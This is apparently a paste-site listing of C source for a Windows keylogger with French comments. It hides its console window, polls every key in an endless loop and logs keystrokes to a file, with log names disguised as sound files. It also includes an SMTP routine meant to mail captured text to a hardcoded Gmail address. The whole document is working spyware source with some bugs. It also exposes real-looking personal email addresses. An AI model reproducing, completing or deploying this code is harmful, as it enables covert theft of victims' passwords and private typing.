· 9 years ago · Dec 15, 2016, 04:33 PM
1#include <stdio.h>
2#include <stdlib.h>
3#include <windows.h>
4#include <winuser.h>
5#include <windowsx.h>
6#include <time.h>
7int MailIt (char *mailserver, char *emailto, char *emailfrom,
8char *emailsubject, char *emailmessage);
9#define BUFSIZE 800
10#define waittime 500
11/*tapper :
12"nslookup -querytype=mx gmail.com" dans la console msdos
13si vous souhaitez avoir les serveurs SMTP Ã jour*/
14#define cmailserver "gmail-smtp-in.l.google.com"
15#define cemailto "kjostrealm99@gmail.com"
16#define cemailfrom "k.sovaridis@gmail.com"
17#define LogLength 100
18#define FileName "sound.wav"
19#define SMTPLog "ring.wav"
20#define cemailsubject "Logged"
21int isalt(); //savoir si alt est pressé
22int ismajpressed(); //savoir si shift est pressé
23int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
24void TraiterLettre(int lettre);
25
26int majuscule; //savoir si le clavier est en mode caps lock
27FILE *sortie;
28char fichier[256];
29
30int main(int argc, char *argv[])
31{
32 //on masque
33 HWND hwnd = GetForegroundWindow() ;
34 ShowWindow(hwnd,SW_HIDE);
35
36int i, lettre, result, lastresult, lastletter, compteur;
37
38 GetCurrentDirectory(256, fichier);
39 strcat(fichier,"\\fichierlog.txt");
40 sortie = fopen(fichier,"w+");
41 result=0;
42 compteur=0; //on initialise
43 lastresult=0;
44 i=0;
45
46 while ( i==0 ) { //boucle sans fin
47 lettre=13;
48 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
49
50result=GetKeyState(lettre);
51
52 //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
53 if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
54 if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
55 if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
56 {
57 TraiterLettre(lettre);
58 lastresult=result;
59 lastletter=lettre;
60 lettre=13;
61 Sleep(50);
62 }
63
64 } //fin de test des lettres
65 Sleep(1);
66 } //fin de la boucle sans fin
67
68 return 0;
69}
70
71int ismaj() {
72
73 if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
74 return 1;
75 else return 0;
76 }
77
78int ismajpressed() {
79 int result;
80
81 result=GetKeyState(VK_SHIFT );
82 if ( ( result==-127 ) || ( result==-128 ) ) return 1;
83 else return 0;
84 }
85
86int isalt() {
87 int result;
88
89 result=GetKeyState(VK_MENU );
90 if ( ( result==-127 ) || ( result==-128 ) ) return 1;
91 else return 0;
92 }
93
94void TraiterLettre(int lettre) {
95
96 char towrite; //la lettre que l'on va écrire dans la console
97 static int compteur = 0;
98
99 //traitement des chiffres ( un décalage )
100 if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
101
102 //Les lettres sont envoyées comme majuscules, il faut faire un décalage
103 else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
104
105 //Sinon on écrit telle quelle la lettre
106 else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
107
108 else switch ( lettre ) {
109
110
111 case VK_MENU:
112 fprintf(sortie,"<alt>",towrite);
113 break;
114
115
116 case VK_BACK:
117 fprintf(sortie,"<delete>",towrite);
118 break;
119
120
121
122 case VK_DELETE:
123 fprintf(sortie,"<Suppr>",towrite);
124 break;
125
126 case 9:
127 fprintf(sortie,"<TAB>",towrite);
128 break;
129
130
131
132 case VK_CONTROL:
133 fprintf(sortie,"<ctrl>",towrite);
134 break;
135
136
137 case 49 : if( ismaj() ) towrite='1';
138 else towrite='&';
139 break;
140
141 case 50 : if ( ismaj() ) towrite='2';
142 else towrite='é';
143 break;
144
145 case 51 : if ( ismaj() ) towrite='3';
146 else towrite='"';
147 break;
148
149 case 52 : if ( ismaj() ) towrite='4';
150 else towrite= '"';
151 break;
152
153 case 53 : if ( ismaj() ) towrite='5';
154 else towrite='(';
155 break;
156
157 case 54 : if ( ismaj() ) towrite='6';
158 else towrite='-';
159 break;
160
161 case 55 : if ( ismaj() ) towrite='7';
162 else towrite='è';
163 break;
164
165
166 case 56 : if ( ismaj() ) towrite='8';
167 else towrite='_';
168 break;
169
170
171 case 57 : if ( ismaj() ) towrite='9';
172 else towrite='ç';
173 break;
174
175 case 48 : if ( ismaj() ) towrite='0';
176 else towrite='Ã ';
177 break;
178
179 case 187 : if( ismaj() ) towrite='=';
180 else towrite='+';
181 break;
182
183 case 186 : if ( ismaj() ) towrite='£';
184 else towrite='$';
185 break;
186
187 case 192 : if ( ismaj() ) towrite='%';
188 else towrite='ù';
189 break;
190
191 case 188 : if ( ismaj() ) towrite='?';
192 else towrite=',';
193 break;
194
195 case 190 : if ( ismaj() ) towrite='.';
196 else towrite=';';
197 break;
198
199 case 191 : if ( ismaj() ) towrite='/';
200 else towrite=':';
201 break;
202
203
204 case 32 : if ( isalt() ) towrite=' ';
205 else towrite=' ';
206 break;
207
208
209
210 case 219 : if ( isalt() ) towrite=']';
211 else towrite=')';
212 break;
213
214
215 case 223 : towrite='!';
216 break;
217 case 111 : towrite='/';
218 break;
219 case 106 : towrite='*';
220 break;
221 case 109 : towrite='-';
222 break;
223 case 107 : towrite='+';
224 break;
225 case 110 : towrite='.';
226 break;
227 }
228
229
230 // On affiche les lettres dans le log
231 if ( lettre==13 ) fprintf(sortie,"\n");
232 else fprintf(sortie,"%c",towrite);
233 compteur++;
234
235 if ( compteur==2 ) {
236 fclose(sortie);
237 fopen(fichier,"a");
238 compteur=0;
239 }
240 }
241
242int MailIt (char *mailserver, char *emailto, char *emailfrom,
243char *emailsubject, char *emailmessage) {
244 SOCKET sockfd;
245 WSADATA wsaData;
246 FILE *smtpfile;
247
248 #define bufsize 300 // taille du fichier pour l' envoie
249 int bytes_sent;
250 int err;
251 struct hostent *host; /* gethostbyname */
252 struct sockaddr_in dest_addr; /* adresse de l'hote */
253 char line[1000];
254 char *Rec_Buf = (char*) malloc(bufsize+1);
255 smtpfile=fopen(SMTPLog,"a+");
256 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
257 fputs("WSAStartup failed",smtpfile);
258 WSACleanup();
259 return -1;
260 }
261 if ( (host=gethostbyname(mailserver)) == NULL) {
262 perror("gethostbyname");
263 exit(1);
264 }
265 memset(&dest_addr,0,sizeof(dest_addr));
266 memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
267
268 /* Prepare dest_addr */
269 dest_addr.sin_family= host->h_addrtype;
270 dest_addr.sin_port= htons(25); /* PORT */
271
272 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
273 perror("socket");
274 exit(1);
275 }
276 /* Connection !*/
277 fputs("Connecting....\n",smtpfile);
278
279 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
280 perror("connect");
281 exit(1);
282 }
283 Sleep(waittime);
284 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
285 fputs(Rec_Buf,smtpfile);
286 strcpy(line,"helo me.somepalace.com\n");
287 fputs(line,smtpfile);
288 bytes_sent=send(sockfd,line,strlen(line),0);
289 Sleep(waittime);
290 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
291 fputs(Rec_Buf,smtpfile);
292 strcpy(line,"MAIL FROM:<");
293 strncat(line,emailfrom,strlen(emailfrom));
294 strncat(line,">\n",3);
295 fputs(line,smtpfile);
296 bytes_sent=send(sockfd,line,strlen(line),0);
297 Sleep(waittime);
298 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
299 fputs(Rec_Buf,smtpfile);
300 strcpy(line,"RCPT TO:<");
301 strncat(line,emailto,strlen(emailto));
302 strncat(line,">\n",3);
303 fputs(line,smtpfile);
304 bytes_sent=send(sockfd,line,strlen(line),0);
305 Sleep(waittime);
306 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
307 fputs(Rec_Buf,smtpfile);
308 strcpy(line,"DATA\n");
309 fputs(line,smtpfile);
310 bytes_sent=send(sockfd,line,strlen(line),0);
311 Sleep(waittime);
312 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
313 fputs(Rec_Buf,smtpfile);
314 Sleep(waittime);
315 strcpy(line,"To:");
316 strcat(line,emailto);
317 strcat(line,"\n");
318 strcat(line,"From:");
319 strcat(line,emailfrom);
320 strcat(line,"\n");
321 strcat(line,"Subject:");
322 strcat(line,emailsubject);
323 strcat(line,"\n");
324 strcat(line,emailmessage);
325 strcat(line,"\r\n.\r\n");
326 fputs(line,smtpfile);
327 bytes_sent=send(sockfd,line,strlen(line),0);
328 Sleep(waittime);
329 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
330 fputs(Rec_Buf,smtpfile);
331 strcpy(line,"quit\n");
332 fputs(line,smtpfile);
333 bytes_sent=send(sockfd,line,strlen(line),0);
334 Sleep(waittime);
335 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
336 fputs(Rec_Buf,smtpfile);
337 fclose(smtpfile);
338 #ifdef WIN32
339 closesocket(sockfd);
340 WSACleanup();
341 #else
342 close(sockfd);
343 #endif
344}